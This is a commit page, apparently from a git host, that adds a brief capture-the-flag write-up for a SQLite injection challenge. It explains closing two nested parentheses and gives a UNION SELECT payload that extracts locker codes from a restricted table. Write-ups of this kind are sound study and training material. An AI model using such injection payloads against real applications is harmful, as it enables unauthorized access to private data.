Second CTFs part
This commit is contained in:
4
web-sqli/01_airline_lost_found/writeup
Normal file
4
web-sqli/01_airline_lost_found/writeup
Normal file
@@ -0,0 +1,4 @@
|
||||
The original query are two nested subqueries so to escape we need to close two parenthesis. After that I can union a select.
|
||||
|
||||
Final Query:
|
||||
Prova') OR 1=1 AND sqlite_version()=sqlite_version()) UNION SELECT 1,locker_code,3,4,5,6,7,8 FROM restricted_items --
|
||||
Reference in New Issue
Block a user